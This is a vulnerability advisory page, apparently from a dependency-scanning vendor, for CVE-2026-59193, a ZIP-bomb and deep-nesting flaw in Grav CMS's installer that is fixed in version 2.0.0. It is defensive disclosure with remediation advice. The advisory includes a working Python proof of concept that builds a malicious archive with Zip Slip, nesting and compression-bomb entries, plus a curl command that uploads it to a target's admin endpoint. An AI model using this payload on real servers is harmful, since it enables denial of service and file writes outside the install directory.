NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-59193 — grav

Fix: getgrav/grav@23d6f2a

CVE-2026-59193 is a CWE-409 vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip()

Also known asGHSA-2vcx-h8p2-9pg9
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 31, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59193.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk
0.00%0.37%0.73%1.10%0.4%0.6%0.6%0.6%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method Installer::unZip() calls ZipArchive::extractTo() without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.

Details

The vulnerability is in system/src/Grav/Common/GPM/Installer.php:176-208 (Installer::unZip()). The ZipArchive::extractTo() call at line 184 is not preceded by any validation of the archive contents.

Missing validation:

  • ❌ No total uncompressed size check (decompression bomb — CWE-409)
  • ❌ No entry count check (inode exhaustion)
  • ❌ No directory nesting depth check (stack overflow in Folder::doDelete() — CWE-674)

The subsequent cleanup call Folder::delete($destination) at line 189 recursively deletes every subdirectory without depth limit (Folder.php:531-547). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.

The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for ../ in entry paths and does not add any size, count, or depth limits.

PoC

  1. Generate the malicious ZIP:

    python3 cve_poc_grav_zip.py:

#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.

Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""

import zipfile, os, sys

OUT = "/tmp/cve_poc_grav.zip"

def build():
    with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
        # --- Zip Slip: arbitrary write outside target ---
        z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")

        # --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
        for i in range(100):
            z.writestr(f"deep/{'x/' * i}.keep", "")

        # --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
        for i in range(100):
            z.writestr(f"bomb/{i}.dat", b"A" * 100_000)

    with zipfile.ZipFile(OUT) as z:
        infos = z.infolist()
        compressed = os.path.getsize(OUT)
        uncompressed = sum(e.file_size for e in infos)
        slip = any(".." in e.filename for e in infos)
        depths = [e.filename.count('/') for e in infos]

    print("=" * 60)
    print("CVE PoC — Grav CMS Installer::unZip()")
    print("Zip Bomb | Zip Slip | Deep Nesting")
    print("=" * 60)
    print(f"File           : {OUT}")
    print(f"ZIP size       : {compressed:,} B ({compressed/1024:.1f} KB)")
    print(f"Uncompressed   : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
    print(f"Ratio          : {uncompressed/compressed:.0f}:1")
    print(f"Entries        : {len(infos)}")
    print(f"Max depth      : {max(depths) if depths else 0}")
    print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
    print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
    print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
    build()
  1. Authenticate as admin.super and retrieve the nonce from /admin

  2. Upload through Direct Install:

   curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
     -H 'Cookie: grav-admin=<SESSION>' \
     -F 'admin-nonce=<NONCE>' \
     -F 'uploaded_file=@/tmp/cve_poc_grav.zip'

Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion.

Impact

An authenticated administrator (admin.super) can:

  • Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)
  • Exhaust inodes via thousands of small files
  • Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently
  • Partially or fully deny service to all users (both authenticated and unauthenticated)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/grav≥ 1.0.0&&< 2.0.02.0.0composer require getgrav/grav:^2.0.0

Affected Products

1 product · 2 configurations
Application
gravgetgrav
≥ 1.0.0 && < 2.0.0
1 version
2.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav to 2.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59193 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Summary An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion. ### Details The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents. Missing
O3 Security · Impact-Aware SCA

Is CVE-2026-59193 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-59193: grav — Fixed in 2.0.0